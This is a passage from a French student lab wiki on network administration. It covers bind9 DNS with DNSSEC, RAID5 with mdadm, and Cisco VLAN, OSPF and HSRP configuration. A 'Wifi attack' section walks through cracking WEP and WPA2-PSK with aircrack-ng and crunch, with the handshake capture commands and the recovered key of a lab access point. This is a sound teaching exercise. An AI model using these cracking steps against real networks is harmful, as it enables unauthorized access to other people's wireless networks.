 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNS avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
Installer bind9&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
Gestion des certificats &lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée avec openssl &lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Description de l'installation===&lt;br /&gt;
&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
 airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
 airmon-ng start wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
 airodump-ng -c 2 wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
 airodump-ng&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
Faire pointer système de fichiers sur nos 3 disques. &lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
on met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
